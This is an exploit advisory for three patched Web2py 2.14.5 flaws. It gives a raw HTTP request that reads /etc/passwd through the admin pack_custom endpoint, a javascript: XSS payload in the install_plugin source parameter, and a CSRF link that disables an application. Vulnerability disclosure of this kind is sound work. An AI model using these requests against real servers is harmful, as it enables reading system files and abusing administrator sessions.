Web2py 2.14.5 - Multiple Vulnerabilities

Title - Web2py 2.14.5 Multiple Vulnerabilities LFI,XSS,CSRF

# Exploit Title : Web2py 2.14.5 Multiple Vulnerabilities LFI, XSS,CSRF
# Reported Date : 2-April-2016
# Fixed Date : 4-April-2016
# Exploit Author : Narendra Bhati - https://www.exploit-db.com/author/?a=7638
# CVE ID : LFI - CVE-2016-4806 , Reflected XSS - CVE-2016-4807 , CSRF - CVE-2016-4808
# Tested On : MAC OS X EI Capitan, Windows 7 64 Bit, Most Linux Platforms.
# Fix/Patching : Update To Web2py. 2.14.6
# Facebook : https://facebook.com/iambhati
# Twitter : http://twitter.com/NarendraBhatiB
# Detailed POC: http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/
==============================================


LFI(Local File Inclusion): CVE-2016-4806

POST URI - /admin/default/pack_custom/[applicationmame]

Vulnerable Parameter = file

Exploit - file=/etc/passwd

Authentication Required = Yes(Administrator)

Steps To Reproduction

1) HTTP Request 

POST /admin/default/pack_custom/[applicationname] HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8000/admin/default/pack_custom/dasdasdasdad
Cookie: session_id_welcome=asdadasdasdasdasd; session_id_admin=asdasdasdasdasd
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3213

file=/etc/passwd

2) After sending this request, Application will prompt you with a file to download as an extension of "w2p".

3) Now we have to unpack this downloaded file using. https://github.com/pigeonflight/web2py-unpacker

I.e. 
Command for unpacking w2p file
python web2py-unpacker.py downloadfile.w2p

4) This command will create a folder called "unpack", In this folder there will be an another folder of the application of web2py. In this folder you will found the etc folder, Then into this folder you will get the passwd file.


Video POC - https://www.youtube.com/watch?v=paCvmHgomP4

Full Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/

========================================================================

Reflected XSS(Cross Site Scripting) : CVE-2016-4807

GET URI  - http://127.0.0.1:8000/admin/default/install_plugin/dasdasdasdad?plugin=math2py&source=anyurl

Vulnerable Parameter - source

Exploit - http://127.0.0.1:8000/admin/default/install_plugin/[applicationname]?plugin=math2py&source=javascript:alert(1)

Authentication Required - Yes(Administrator)

Steps To Reproduction

1) Go to this URL - http://127.0.0.1:8000/admin/default/install_plugin/[applicationname]?plugin=math2py&source=javascript:alert(1)

2) The parameter "source" value will get reflected on the page on "Here" button.

3) When you will click on that button "Here" XSS payload will get executed.

Video POC - https://www.youtube.com/watch?v=4j9hXJtVNbk

Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/

============================================================================


CSRF(Cross Site Request Forgery): CVE-2016-4808

GET URI - http://127.0.0.1:8000/admin/default/enable/[applicationname]

Exploit - http://127.0.0.1:8000/admin/default/enable/[applicationname]

Authenticated Required - Yes(Administrator)


Steps To Reproduction

1) Suppose we have an application in web2py called "testingapp"

2) An attacker can trick an victim to disable the installed application just By sending this URL to victim - http://127.0.0.1:8000/admin/default/enable/testingapp

Video POC - https://www.youtube.com/watch?v=d4V8qlNrYtk

Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/